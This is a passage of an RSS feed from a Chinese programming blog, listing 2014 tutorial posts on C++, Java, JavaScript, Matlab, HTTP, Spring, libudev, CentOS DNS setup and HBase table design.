cout&amp;lt;&amp;lt;&#34;Enter the 24 hours time like 11:11 :\n&#34;; cin&amp;gt;&amp;gt;hours&amp;gt;&amp;gt;b&amp;gt;&amp;gt;minutes; } void convert_time(int&amp;amp; currenthours,int&amp;amp; currentminutes,int&amp;amp; waithours,int&amp;amp; waitminutes) { int hours,minutes; if(currenthours + waithours &amp;lt; 24) { hours = currenthours+waithours; if(currentminutes + waitminutes &amp;lt; 60) minutes = currentminutes + waitminutes; else { hours += 1; minutes =(currentminutes + waitminutes) - 60; } } else { hours = (currenthours+waithours) - 24 + currenthours; if(currentminutes + waitminutes &amp;lt; 60) minutes = currentminutes + waitminutes; else { hours += 1; minutes =(currentminutes + waitminutes) - 60; } } cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>overload  abs-重载绝对值函数</title>
      <link>https://bchobby.github.io/posts/8d27074a65c5ada09e6bb3778897b32a/</link>
      <pubDate>Sat, 30 Aug 2014 18:19:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d27074a65c5ada09e6bb3778897b32a/</guid>
      <description>overload abs-重载绝对值函数&#xA;//overload abs-重载绝对值函数 #include&amp;lt;iostream&amp;gt; using namespace std; int abs(int n); //long abs(long n); float abs(float n); double abs(double n); int main() { int a = -3; long int b = -5; float c = - 3.5; double d = - 4.4; cout&amp;lt;&amp;lt;&#34;int abs: &#34;&amp;lt;&amp;lt;abs(a)&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;long int abs: &#34;&amp;lt;&amp;lt;abs(b)&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;float abs: &#34;&amp;lt;&amp;lt;abs(c)&amp;lt;&amp;lt;endl; cout&amp;lt;&amp;lt;&#34;double abs: &#34;&amp;lt;&amp;lt;abs(d)&amp;lt;&amp;lt;endl; return 0; } int abs(int n) { if(n &amp;gt; 0) return n; return -n; } long int abs(long n) { if(n &amp;gt; 0) return n; return -n; } float abs(float n) { if(n &amp;gt; 0) return n; return -n; } double abs(double n) { if(n &amp;gt; 0) return n; return -n; } 结果：</description>
    </item>
    <item>
      <title>.obj : error LNK2005: &#34;public: virtual void __thiscall</title>
      <link>https://bchobby.github.io/posts/eea04f39c838d3b6698fcaed1a0300e4/</link>
      <pubDate>Fri, 22 Aug 2014 11:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eea04f39c838d3b6698fcaed1a0300e4/</guid>
      <description>.obj : error LNK2005: &#34;public: virtual void __thiscall ...已经在 .obj 中定义 .exe : fatal error LNK1169: 找到一个或多个多重定义的符号&#xA;vs 2008 引入别的lib时，出现错误。&#xA;检查不出来了，错误原因。&#xA;最后，把引用库的头文件 ，放到源文件中结果通过了。&#xA;AAA.obj : error LNK2005: &#34;public: virtual void __thiscall CBBB::FUN();&#xA;有可能是你的CBBB 类的头文件放到 ——AAA 类的头文件中了；&#xA;这时，只需要 把CBBB 头文件放到 CAAA源文件中就可以了。</description>
    </item>
    <item>
      <title>GBK与GB2312 解决GBK转UTF-8部分字符乱码</title>
      <link>https://bchobby.github.io/posts/8c1cc6be2185d16691d8cbbece7e793f/</link>
      <pubDate>Wed, 20 Aug 2014 09:45:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c1cc6be2185d16691d8cbbece7e793f/</guid>
      <description> GBK是对GB2312的扩展，添加了一些GB2312不支持的繁体字符。我通常情况下对二者进行混用，不加以区分。最近出现了问题，一个文本本来是GBK格式的，我将其转换成UTF-8过程后，一些字符出现了乱码。原因是我读的时候是按照GB2312的编码读的，这样，一些特殊字符，例如中文的空格（　）和中文的横杠（－），这两个字符要比英文的空格和横杠宽一点点，其编码是不一样的，而这两个字符是不被GB2312支持的，因此出现了乱码。&#xA;解决办法：&#xA;读入GBK或者GB2312格式的文本时统一选择GBK方式读入，然后再保存为UTF-8，这样就不会出错。&#xA;BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(file),&#34;GBK&#34;)); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file),&#34;UTF-8&#34;)); </description>
    </item>
    <item>
      <title>Uncaught SyntaxError: Unexpected token ILLEGAL</title>
      <link>https://bchobby.github.io/posts/16b384b1a267d13cd74213d9863ed499/</link>
      <pubDate>Sat, 16 Aug 2014 15:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16b384b1a267d13cd74213d9863ed499/</guid>
      <description> Uncaught SyntaxError: Unexpected token ILLEGAL 未捕获的语法错误： 意想不到的非法令牌&#xA;&amp;lt;input id=&#34;btn_0_4EAE4F474C91156086C0D4EA7E983C69C215B649&#34; type=&#34;button&#34; value=&#34;连接&#34; οnclick=&#34;middleware_connect(0, 4EAE4F474C91156086C0D4EA7E983C69C215B649)&#34;&amp;gt; 经过查看源码可以发现“οnclick=&#34;middleware_connect(0, 4EAE4F474C91156086C0D4EA7E983C69C215B649)&#34;”，第二个参数是字符串，却没有使用引号括起来，所以引发了此异常。&#xA;加上引号后，问题解决：&#xA;&amp;lt;input id=&#34;btn_0_4EAE4F474C91156086C0D4EA7E983C69C215B649&#34; type=&#34;button&#34; value=&#34;连接&#34; οnclick=&#34;middleware_connect(&#39;0&#39;, &#39;4EAE4F474C91156086C0D4EA7E983C69C215B649&#39;)&#34;&amp;gt; </description>
    </item>
    <item>
      <title>Java实现128进制加密数据</title>
      <link>https://bchobby.github.io/posts/669a947a9e61ca89c45fe23264395cc3/</link>
      <pubDate>Thu, 14 Aug 2014 12:26:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/669a947a9e61ca89c45fe23264395cc3/</guid>
      <description>package cn.wiki.openapi.lry.tool; import java.util.HashMap; /** * 128进制加解密, 一个符号可表示7个bit * 可以自定义符号表, 符号不能重复 * @author lry * */ public class MyBASE128 { public static final char[] symbolTable = new char[128]; public static final HashMap&amp;lt;Character, Integer&amp;gt; indexTable = new HashMap&amp;lt;Character, Integer&amp;gt;(128); static { int i = 0; for (int j = 0; j &amp;lt; 128; j++) { if(&#39;A&#39; &amp;lt;= j &amp;amp;&amp;amp; j &amp;lt;= &#39;Z&#39; || &#39;a&#39; &amp;lt;= j &amp;amp;&amp;amp; j &amp;lt;= &#39;z&#39; || &#39;0&#39; &amp;lt;= j &amp;amp;&amp;amp; j &amp;lt;= &#39;9&#39;) { symbolTable[i++] = (char) j; } } for (char c : &#34;</description>
    </item>
    <item>
      <title>Matlab  sum( ) 函数</title>
      <link>https://bchobby.github.io/posts/9ae83e07de7378a00d5f43e0d84c8ea4/</link>
      <pubDate>Fri, 08 Aug 2014 17:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ae83e07de7378a00d5f43e0d84c8ea4/</guid>
      <description> Matlab 图像处理 Day8&#xA;1、sum( ):&#xA;% sum 函数有常用的 2 种形式&#xA;&amp;lt; i &amp;gt;、 S = sum( X );&#xA;&amp;lt; ii &amp;gt;、 S = sum( X,DIM );&#xA;Sample: % 由上述例子可以发现&#xA;sum( a , 1 ) = sum( a ) % 意思即为对矩阵 a 的列求和&#xA;sum( a , 2 ) % 意思即为对矩阵 a 的行求和&#xA;% 一些特殊的小用法：&#xA;sum( a(:) )； % 意思即为对矩阵中所有元素求和&#xA;可以通过上述写法扩展一下：&#xA;Sample :&#xA;分别按列求和 分别按行求和 ﻿﻿ ﻿﻿ </description>
    </item>
    <item>
      <title>绝对路径 VS 相对路径</title>
      <link>https://bchobby.github.io/posts/f2f29d82d0d09438334c68bdb8a8f02f/</link>
      <pubDate>Wed, 06 Aug 2014 23:56:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2f29d82d0d09438334c68bdb8a8f02f/</guid>
      <description>&#34;.&#34; 代表当前所在目录，相对路径。如:&amp;lt;a href=&#34;./abc&#34;&amp;gt;文本&amp;lt;/a&amp;gt;或&amp;lt;img src=&#34;./abc&#34; /&amp;gt;； &#34;..&#34; 代表上一层目录，相对路径。如:&amp;lt;a href=&#34;../abc&#34;&amp;gt;文本&amp;lt;/a&amp;gt;或&amp;lt;img src=&#34;../abc&#34;/&amp;gt;； &#34;../../&#34; 代表的是上一层目录的上一层目录，相对路径。 如:&amp;lt;img src=&#34;../../abc&#34; /&amp;gt;； &#34;/&#34; 代表根目录,绝对路径。 如：&amp;lt;a href=&#34;https://bchobby.github.io/abc&#34;&amp;gt;文本&amp;lt;/a&amp;gt;或&amp;lt;img src=&#34;https://bchobby.github.io/abc&#34;/&amp;gt;； &#34;D:/abc/&#34; 代表根目录,绝对路径。 在使用相对路径时，我们用符号“.”来表示当前目录；用符号“..”来表示当前目录的父目录。 一、基本概念&#xA;1、相对路径-顾名思义，相对路径就是相对于当前文件的路径。网页中一般表示路径使用这个方法。&#xA;2、绝对路径-绝对路径就是你的主页上的文件或目录在硬盘上真正的路径。绝对路径就是你的主页上的文件或目录在硬盘上真正的路径，比如，你的Perl 程序是存放在c:/apache/cgi-bin 下的，那么c:/apache/cgi-bin就是cgi-bin目录的绝对路径&#xA;在网络中，以http开头的链接都是绝对路径，绝对路径就是你的主页上的文件或目录在硬盘上真正的路径，绝对路径一般在CGI程序的路径配置中经常用到，而在制作网页中实际很少用到。&#xA;二、相对路径使用的特殊符号&#xA;以下为建立路径所使用的几个特殊符号，及其所代表的意义。&#xA;&#34;./&#34;：代表目前所在的目录。&#xA;&#34;../&#34;：代表上一层目录。&#xA;以&#34;/&#34;开头：代表根目录。&#xA;根目录下有Site1和Image/Image.jpg，Site1下有Page1.html文件和Site2文件夹。Site2下有Page2.html和Page2Image.jpg图片文件。&#xA;1、文件在当前目录&#xA;Page2.html访问Page2Image.jpg&#xA;&amp;lt;img src=”./Page2Image.jpg”&amp;gt;或者&amp;lt;img src=”Page2Image. jpg”&amp;gt;&#xA;2、文件在上一层目录&#xA;Page1.html访问Image下的Image.jpg&#xA;&amp;lt;img src=”../Image/Image.jpg”&amp;gt;&#xA;Page2.html访问Image下的Image.jpg&#xA;&amp;lt;img src=”../../Image/Image.jpg”&amp;gt;&#xA;3、文件在下一层目录&#xA;Page1.html访问Site2文件夹下的Page2Image.jpg&#xA;&amp;lt;img src=” ./Site2/Image.jpg”&amp;gt;&amp;lt;img src=” Site2/Image.jpg”&amp;gt;&#xA;4、根目录表示法,任何页面访问Image下的Image.jpg图片&#xA;&amp;lt;img src=”/Image/Image.jpg”&amp;gt;&#xA;三、常使用且要注意的地方&#xA;A、Css中的图片路径。写css里的图片路径，url是图片针对样式文件的位置&#xA;-- index.html&#xA;-- css /main.css&#xA;-- images/1.jpg&#xA;如果： index.html引用main.css，且在main.css 引用images目录里的1.jpg ：</description>
    </item>
    <item>
      <title>ByteBuffer常用方法详解</title>
      <link>https://bchobby.github.io/posts/531e5bee40aa5f80ffcaa8b619bc964f/</link>
      <pubDate>Mon, 04 Aug 2014 00:47:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/531e5bee40aa5f80ffcaa8b619bc964f/</guid>
      <description>缓冲区(Buffer) 缓冲区(Buffer)就是在内存中预留指定大小的存储空间用来对输入/输出(I/O)的数据作临时存储，这部分预留的内存空间就叫做缓冲区：&#xA;使用缓冲区有这么两个好处：&#xA;1、减少实际的物理读写次数&#xA;2、缓冲区在创建时就被分配内存，这块内存区域一直被重用，可以减少动态分配和回收内存的次数&#xA;举个简单的例子，比如A地有1w块砖要搬到B地&#xA;由于没有工具（缓冲区），我们一次只能搬一本，那么就要搬1w次（实际读写次数）&#xA;如果A，B两地距离很远的话（IO性能消耗），那么性能消耗将会很大&#xA;但是要是此时我们有辆大卡车（缓冲区），一次可运5000本，那么2次就够了&#xA;相比之前，性能肯定是大大提高了。&#xA;而且一般在实际过程中，我们一般是先将文件读入内存，再从内存写出到别的地方&#xA;这样在输入输出过程中我们都可以用缓存来提升IO性能。&#xA;所以，buffer在IO中很重要。在旧I/O类库中（相对java.nio包）中的BufferedInputStream、BufferedOutputStream、BufferedReader和BufferedWriter在其实现中都运用了缓冲区。java.nio包公开了Buffer API，使得Java程序可以直接控制和运用缓冲区。&#xA;在Java NIO中，缓冲区的作用也是用来临时存储数据，可以理解为是I/O操作中数据的中转站。缓冲区直接为通道(Channel)服务，写入数据到通道或从通道读取数据，这样的操利用缓冲区数据来传递就可以达到对数据高效处理的目的。在NIO中主要有八种缓冲区类(其中MappedByteBuffer是专门用于内存映射的一种ByteBuffer)：&#xA;Fields 所有缓冲区都有4个属性：capacity、limit、position、mark，并遵循：mark &amp;lt;= position &amp;lt;= limit &amp;lt;= capacity，下表格是对着4个属性的解释：&#xA;属性描述Capacity容量，即可以容纳的最大数据量；在缓冲区创建时被设定并且不能改变Limit表示缓冲区的当前终点，不能对缓冲区超过极限的位置进行读写操作。且极限是可以修改的Position位置，下一个要被读或写的元素的索引，每次读写缓冲区数据时都会改变改值，为下次读写作准备Mark标记，调用mark()来设置mark=position，再调用reset()可以让position恢复到标记的位置 Methods 1、实例化 java.nio.Buffer类是一个抽象类，不能被实例化。Buffer类的直接子类，如ByteBuffer等也是抽象类，所以也不能被实例化。&#xA;但是ByteBuffer类提供了4个静态工厂方法来获得ByteBuffer的实例：&#xA;方法描述allocate(int capacity)从堆空间中分配一个容量大小为capacity的byte数组作为缓冲区的byte数据存储器allocateDirect(int capacity)是不使用JVM堆栈而是通过操作系统来创建内存块用作缓冲区，它与当前操作系统能够更好的耦合，因此能进一步提高I/O操作速度。但是分配直接缓冲区的系统开销很大，因此只有在缓冲区较大并长期存在，或者需要经常重用时，才使用这种缓冲区wrap(byte[] array)这个缓冲区的数据会存放在byte数组中，bytes数组或buff缓冲区任何一方中数据的改动都会影响另一方。其实ByteBuffer底层本来就有一个bytes数组负责来保存buffer缓冲区中的数据，通过allocate方法系统会帮你构造一个byte数组wrap(byte[] array, int offset, int length) 在上一个方法的基础上可以指定偏移量和长度，这个offset也就是包装后byteBuffer的position，而length呢就是limit-position的大小，从而我们可以得到limit的位置为length+position(offset)&#xA;我写了这几个方法的测试方法，大家可以运行起来更容易理解&#xA;public static void main(String args[]) throws FileNotFoundException { System.out.println(&#34;----------Test allocate--------&#34;); System.out.println(&#34;before alocate:&#34; + Runtime.getRuntime().freeMemory()); // 如果分配的内存过小，调用Runtime.getRuntime().freeMemory()大小不会变化？ // 要超过多少内存大小JVM才能感觉到？ ByteBuffer buffer = ByteBuffer.allocate(102400); System.out.println(&#34;buffer = &#34; + buffer); System.out.println(&#34;after alocate:&#34; + Runtime.</description>
    </item>
    <item>
      <title>CentOS yum有时出现“Could not retrieve mirrorlist ”的解决办法——resolv.conf的配置</title>
      <link>https://bchobby.github.io/posts/d1404afe6102b401337ab3be50cd97de/</link>
      <pubDate>Tue, 29 Jul 2014 22:27:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1404afe6102b401337ab3be50cd97de/</guid>
      <description> 国内服务器在运行命令yum -y install wget的时候，出现：&#xA;Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=6&amp;amp;arch=x86_64&amp;amp;repo=os error was&#xA;14: PYCURL ERROR 6 - &#34;Couldn&#39;t resolve host &#39;mirrorlist.centos.org&#39;&#34;&#xA;Error: Cannot find a valid baseurl for repo: base&#xA;这种错误，是因为没有配置/etc/resolv.conf。&#xA;解决方法：编辑resolv.conf文件，添加：&#xA;nameserver 8.8.8.8保存退出即可 </description>
    </item>
    <item>
      <title>Spring 依赖注入 （Dependencies）</title>
      <link>https://bchobby.github.io/posts/9700bc95ab0a8d6746b8080ad4cfbad4/</link>
      <pubDate>Sat, 26 Jul 2014 16:35:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9700bc95ab0a8d6746b8080ad4cfbad4/</guid>
      <description>简介&#xA;一个典型的企业应用程序不包含一个对象(或bean在Spring的说法)。即使是最简单的应用程序有几个对象,共同努力,目前终端用户眼中一个连贯的应用程序。这在下一节解释了如何从定义的bean定义独立,完全实现应用程序对象协作来实现一个目标&#xA;1.1 Dependency injection 依赖注入(DI)是一个过程,对象定义它们的依赖项,也就是说,他们处理的其他对象,只能通过构造函数参数,参数工厂方法或对象实例上设置的属性构造或后从工厂方法返回。然后容器注入这些依赖项时创建bean。这个过程从根本上是反,因此得名控制反转(IoC),控制实例化bean本身或位置的依赖自己的类,通过使用直接施工或服务定位器模式。&#xA;代码与DI清洁原理和分离对象时更有效的提供与他们的依赖性。对象不查找其依赖性,不知道位置或类的依赖关系。这样,你的类更容易测试,特别是当依赖接口或抽象基类,它允许使用存根或模拟实现单元测试。&#xA;DI存在于两个主要的变体,Constructor-based依赖注入和Setter-based依赖注入。&#xA;Constructor-based dependency injection Constructor-based DI容器实现的调用构造函数的参数,每个代表一个依赖项。 调用一个静态工厂方法与特定的参数构造bean几乎是等价的,和这个讨论将参数构造函数和静态工厂方法类似。 下面的示例显示了一个类,只能dependency-injected构造函数注入。 注意,这个类没有什么特别之处,它是一个POJO,没有依赖于容器特定的接口,基类或注释。 public class SimpleMovieLister { // the SimpleMovieLister has a dependency on a MovieFinder private MovieFinder movieFinder; // a constructor so that the Spring container can inject a MovieFinder public SimpleMovieLister(MovieFinder movieFinder) { this.movieFinder = movieFinder; } // business logic that actually uses the injected MovieFinder is omitted... } Constructor argument resolution 构造函数参数分辨率匹配时使用参数的类型。 如果不存在潜在的歧义在bean定义的构造函数参数,然后的顺序构造器参数中定义bean定义这些参数的顺序提供给适当的构造函数实例化bean时。 考虑下面的类: package x.</description>
    </item>
    <item>
      <title>libudev使用说明书</title>
      <link>https://bchobby.github.io/posts/a5731896c9e0e8841d084b141a4ec728/</link>
      <pubDate>Wed, 23 Jul 2014 17:28:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5731896c9e0e8841d084b141a4ec728/</guid>
      <description>1. 初始化 首先调用udev_new，创建一个udev library context。udev library context采用引用记数机制，创建的context默认引用记数为1，使用udev_ref和udev_unref增加或减少引用记数，如果引用记数为0，则释放内部资源。 2. 枚举设备 使用udev_enumrate_new创建一个枚举器，用于扫描系统已接设备。使用udev_enumrate_ref和udev_enumrate_unref增加或减少引用记数。 使用udev_enumrate_add_match/nomatch_xxx系列函数增加枚举的过滤器，过滤关键字以字符表示，如&#34;block&#34;设备。 使用udev_enumrate_scan_xxx系列函数扫描/sys目录下，所有与过滤器匹配的设备。扫描完成后的数据结构是一个链表，使用udev_enumerate_get_list_entry获取链表的首个结点，使用udev_list_entry_foreach遍历整个链表。 3. 监控设备插拔 udev的设备插拔基于netlink实现。 使用udev_monitor_new_from_netlink创建一个新的monitor，函数的第二个参数是事件源的名称，可选&#34;kernel&#34;或&#34;udev&#34;。基于&#34;kernel&#34;的事件通知要早于&#34;udev&#34;，但相关的设备结点未必创建完成，所以一般应用的设计要基于&#34;udev&#34;进行监控。 使用udev_monitor_filter_add_match_subsystem_devtype增加一个基于设备类型的udev事件过滤器，例如: &#34;block&#34;设备。 使用udev_monitor_enable_receiving启动监控过程。监控可以使用udev_monitor_get_fd获取一个文件描述符，基于返回的fd可以执行poll操作，简化程序设计。 插拔事件到达后，可以使用udev_monitor_receive_device获取产生事件的设备映射。调用udev_device_get_action可以获得一个字符串：&#34;add&#34;或者&#34;remove&#34;，以及&#34;change&#34;, &#34;online&#34;, &#34;offline&#34;等，但后三个未知什么情况下会产生。 4、获取设备信息&#xA;使用udev_list_entry_get_name可以得到一个设备结点的sys路径，基于这个路径使用udev_device_new_from_syspath可以创建一个udev设备的映射，用于获取设备属性。获取设备属性使用udev_device_get_properties_list_entry，返回一个存储了设备所有属性信息的链表，使用udev_list_entry_foreach遍历链表，使用udev_list_entry_get_name和udev_list_entry_get_value获取属性的名称和值。</description>
    </item>
    <item>
      <title>http协议学习系列</title>
      <link>https://bchobby.github.io/posts/4d73bd76e4a0f49d159be5b471574913/</link>
      <pubDate>Mon, 21 Jul 2014 14:29:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d73bd76e4a0f49d159be5b471574913/</guid>
      <description>1. 基础概念篇 1.1 介绍 HTTP是Hyper Text Transfer Protocol（超文本传输协议）的缩写。它的发展是万维网协会（World Wide Web Consortium）和Internet工作小组IETF（Internet Engineering Task Force）合作的结果，（他们）最终发布了一系列的RFC，RFC 1945定义了HTTP/1.0版本。其中最著名的就是RFC 2616。RFC 2616定义了今天普遍使用的一个版本——HTTP 1.1。&#xA;HTTP协议（HyperText Transfer Protocol，超文本传输协议）是用于从WWW服务器传输超文本到本地浏览器的传送协议。它可以使浏览器更加高效，使网络传输减少。它不仅保证计算机正确快速地传输超文本文档，还确定传输文档中的哪一部分，以及哪部分内容首先显示(如文本先于图形)等。&#xA;HTTP是一个应用层协议，由请求和响应构成，是一个标准的客户端服务器模型。HTTP是一个无状态的协议。&#xA;1.2 在TCP/IP协议栈中的位置 HTTP协议通常承载于TCP协议之上，有时也承载于TLS或SSL协议层之上，这个时候，就成了我们常说的HTTPS。如下图所示：&#xA;默认HTTP的端口号为80，HTTPS的端口号为443。&#xA;1.3 HTTP的请求响应模型 HTTP协议永远都是客户端发起请求，服务器回送响应。见下图：&#xA;这样就限制了使用HTTP协议，无法实现在客户端没有发起请求的时候，服务器将消息推送给客户端。&#xA;HTTP协议是一个无状态的协议，同一个客户端的这次请求和上次请求是没有对应关系。&#xA;1.4 工作流程 一次HTTP操作称为一个事务，其工作过程可分为四步：&#xA;1）首先客户机与服务器需要建立连接。只要单击某个超级链接，HTTP的工作开始。&#xA;2）建立连接后，客户机发送一个请求给服务器，请求方式的格式为：统一资源标识符（URL）、协议版本号，后边是MIME信息包括请求修饰符、客户机信息和可能的内容。&#xA;3）服务器接到请求后，给予相应的响应信息，其格式为一个状态行，包括信息的协议版本号、一个成功或错误的代码，后边是MIME信息包括服务器信息、实体信息和可能的内容。&#xA;4）客户端接收服务器所返回的信息通过浏览器显示在用户的显示屏上，然后客户机与服务器断开连接。&#xA;如果在以上过程中的某一步出现错误，那么产生错误的信息将返回到客户端，有显示屏输出。对于用户来说，这些过程是由HTTP自己完成的，用户只要用鼠标点击，等待信息显示就可以了。&#xA;1.5 使用Wireshark抓TCP、http包 打开Wireshark，选择工具栏上的“Capture”-&amp;gt;“Options”，界面选择如图1所示：&#xA;图1 设置Capture选项&#xA;一般读者只需要选择最上边的下拉框，选择合适的Device，而后点击“Capture Filter”，此处选择的是“HTTP TCP port（80）”，选择后点击上图的“Start”开始抓包。&#xA;图2 选择Capture Filter&#xA;例如在浏览器中打开http://image.baidu.com/，抓包如图3所示：&#xA;http://www.blogjava.net/images/blogjava_net/amigoxie/40799/o_http%e5%8d%8f%e8%ae%ae%e5%ad%a6%e4%b9%a0-%e6%a6%82%e5%bf%b5-3.jpg&#xA;图3 抓包&#xA;在上图中，可清晰的看到客户端浏览器（ip为192.168.2.33）与服务器的交互过程：&#xA;1）No1：浏览器（192.168.2.33）向服务器（220.181.50.118）发出连接请求。此为TCP三次握手第一步，此时从图中可以看出，为SYN，seq:X （x=0）&#xA;2）No2：服务器（220.181.50.118）回应了浏览器（192.168.2.33）的请求，并要求确认，此时为：SYN，ACK，此时seq：y（y为0），ACK：x+1（为1）。此为三次握手的第二步；&#xA;3）No3：浏览器（192.168.2.33）回应了服务器（220.181.50.118）的确认，连接成功。为：ACK，此时seq：x+1（为1），ACK：y+1（为1）。此为三次握手的第三步；&#xA;4）No4：浏览器（192.168.2.33）发出一个页面HTTP请求；&#xA;5）No5：服务器（220.181.50.118）确认；&#xA;6）No6：服务器（220.181.50.118）发送数据；&#xA;7）No7：客户端浏览器（192.168.2.33）确认；&#xA;8）No14：客户端（192.168.2.33）发出一个图片HTTP请求；&#xA;9）No15：服务器（220.181.50.118）发送状态响应码200 OK&#xA;……&#xA;1.6 头域 每个头域由一个域名，冒号（:）和域值三部分组成。域名是大小写无关的，域值前可以添加任何数量的空格符，头域可以被扩展为多行，在每行开始处，使用至少一个空格或制表符。</description>
    </item>
    <item>
      <title>JS获取地址栏参数</title>
      <link>https://bchobby.github.io/posts/fed235339ff0f53b42f89d9fe8d23ffa/</link>
      <pubDate>Sat, 12 Jul 2014 22:48:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fed235339ff0f53b42f89d9fe8d23ffa/</guid>
      <description> function getUrlParam(name) { var reg = new RegExp(&#34;(^|&amp;amp;)&#34; + name + &#34;=([^&amp;amp;]*)(&amp;amp;|$)&#34;); //构造一个含有目标参数的正则表达式对象 var r = window.location.search.substr(1).match(reg); //匹配目标参数 if (r!=null) return unescape(r[2]); return null; //返回参数值 } 例如调用时直接 getUrlParam(&#39;username&#39;);即可 </description>
    </item>
    <item>
      <title>6、 声明类Student，包含3个成员变量：name、age、score，</title>
      <link>https://bchobby.github.io/posts/cb1ad4b1b81b53b0c66fe8566ecb11cc/</link>
      <pubDate>Sat, 05 Jul 2014 22:27:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb1ad4b1b81b53b0c66fe8566ecb11cc/</guid>
      <description>/*&#xA;分析：1，需要3个成员变量，name， age， score。&#xA;2，可以通过set， get方法访问。&#xA;思路： 1，创建一个student类， 类里面包含 name，age， score，三个变量。&#xA;2，设置成私有， 对外提供set，get，方法。&#xA;3，在主函数中创建student(&#34;张三&#34;, 22, 95)类型的对象。&#xA;*/&#xA;class Demo6 {&#xA;public static void main(String[] args) {&#xA;Student s = new Student(&#34;张三&#34;, 22, 95); //创建new Student(&#34;张三&#34;, 22, 95)对象。 }&#xA;}&#xA;class Student {&#xA;//私有成员变量。&#xA;private String name ;&#xA;private int age;&#xA;private int score;&#xA;//对外提供 name，age， score 的 set，get方法。&#xA;public String getName() {&#xA;return name;&#xA;}&#xA;public void setName(String name) {</description>
    </item>
    <item>
      <title>jquery mobile实现拨打电话功能</title>
      <link>https://bchobby.github.io/posts/ba70af035f1f1ad4374dca9ec499f6b2/</link>
      <pubDate>Thu, 03 Jul 2014 22:23:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba70af035f1f1ad4374dca9ec499f6b2/</guid>
      <description> 在做一个便民服务电话，用到移动web中列出的电话，点击需要实现调用通讯录，拨打电话功能。 如果需要在移动浏览器中实现拨打电话，发送email，调用sns等功能，jquery mobile提供的接口是一个好办法。 采用url链接的方式，实现在Safari ios，Android 浏览器，webos 浏览器，塞班浏览器，IE，Operamini等主流浏览器，进行拨打电话功能。 1.最常用的方式： &amp;lt;a href=&#34;tel:+120&#34;&amp;gt;报警!&amp;lt;/a&amp;gt; 在拨号界面，显示号码，并提示拨打。 支持大部分的浏览器，但是在QQ浏览器上支持不好。 2、自动探测电话号码 如果要支持Safari for iOS ，BlackBerry browser的号码，需要加上一下标签： &amp;lt;meta name=&#34;format-detection&#34; content=&#34;telephone=no&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;x-rim-auto-match&#34; content=&#34;none&#34;&amp;gt; 3.使用wtai协议进行拨打电话。 在WML中可以调用设备的WTAI函数来呼叫特定的电话号码。目前，越来越多的浏览器都支持这个功能，但还不是所有。 代码如下所示： ＜input name=&#34;phone_no&#34; format=&#34;*m&#34; value=&#34;13&#34;/＞ ＜do type=&#34;option&#34; label=&#34;呼出号&#34;＞ ＜go href=&#34;wtai://wp/mc;$(phone_no)&#34;/＞ ＜/do＞＜br/＞ 或者直接写入电话号码的方式： ＜a href=&#34;wtai://wp/mc;1331597312*&#34;＞拨打电话＜/a＞ 实例： &amp;lt;a href=&#34;wtai://wp//mc;10086&#34;&amp;gt;拨打10086 &amp;lt;/a&amp;gt; &amp;lt;a href=&#34;wtai://wp/ap;10086;&#34;&amp;gt;将10086存储至电话簿 &amp;lt;/a&amp;gt; &amp;lt;a href=&#34;sms:10086&#34;&amp;gt;发短信到10086 &amp;lt;/a&amp;gt; 建议采用这个方式。 4、还有一种方式： &amp;lt;a href=&#34;dc:5040*0077&#34;&amp;gt;拨打热线&amp;lt;/a&amp;gt; 经过测试，大部分浏览器都不支持 了。 </description>
    </item>
    <item>
      <title>HBase概念学习（八）开发一个类twitter系统之表设计</title>
      <link>https://bchobby.github.io/posts/901694fba7443af327c422706f9d1fb4/</link>
      <pubDate>Sun, 29 Jun 2014 23:51:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/901694fba7443af327c422706f9d1fb4/</guid>
      <description>这边文章先将可能的需求分析一下，设计出HBase表，下一步再开始编写客户端代码。&#xA;TwiBase系统&#xA;1、背景&#xA;为了加深HBase基本概念的学习，参考HBase实战这本书实际动手做了这个例子。&#xA;2、需求&#xA;这是一个用户推特系统，用户登陆到系统，需要维护用户的基本信息，然后用户可以发帖和其他用户进行互动。用户之间可以相互关注，用户可以浏览关注用户的推文等等。&#xA;这是一个比较简单的推特系统，不考虑用户之间的私信，用户评论推特等功能。&#xA;3、概要设计&#xA;3.1表设计&#xA;首先需要设计三个表：用户表，推特表以及用户之间的关系表。&#xA;（1）用户表&#xA;用户表至少包含唯一的用户名，用户昵称，用户邮箱以及用户发帖数量，用一个列族存储。&#xA;创建用户表的语句是：&#xA;create&#39;users&#39;, &#39;info&#39;&#xA;其中用户名用作rowkey，这样能够快速根据用户登陆ID查找到用户所有基本信息。&#xA;（2）推特表&#xA;推特表存储用户的发帖，至少包括用户名，发帖时间，以及发帖内容，用一个列族存储。&#xA;创建推特表的语句是：&#xA;create&#39;twits&#39;, &#39;twits&#39;&#xA;为了能够快速查找到指定用户的所有推文（登陆个人推特时显示），需要将同一个用户的所有推文都存储在一块，所以考虑将用户ID作为行键的第一部分，另外希望每个用户的推文按照时间有序，所以将时间戳作为行键的第二部分，但是这里有个问题，用户名是变长的，怎么知道行键中前面到哪儿是用户名呢，这个时候可以对用户名做MD5散列，将变长的用户名变为定长的散列值。&#xA;另外你希望用户显示自己的推文的时候按照时间顺序倒序排列，即读出来的推文时间新的排在前面，那么就需要利用一个小技巧，不存储真正的时间戳，而是存储倒序时间戳=Long.MAXVALUE 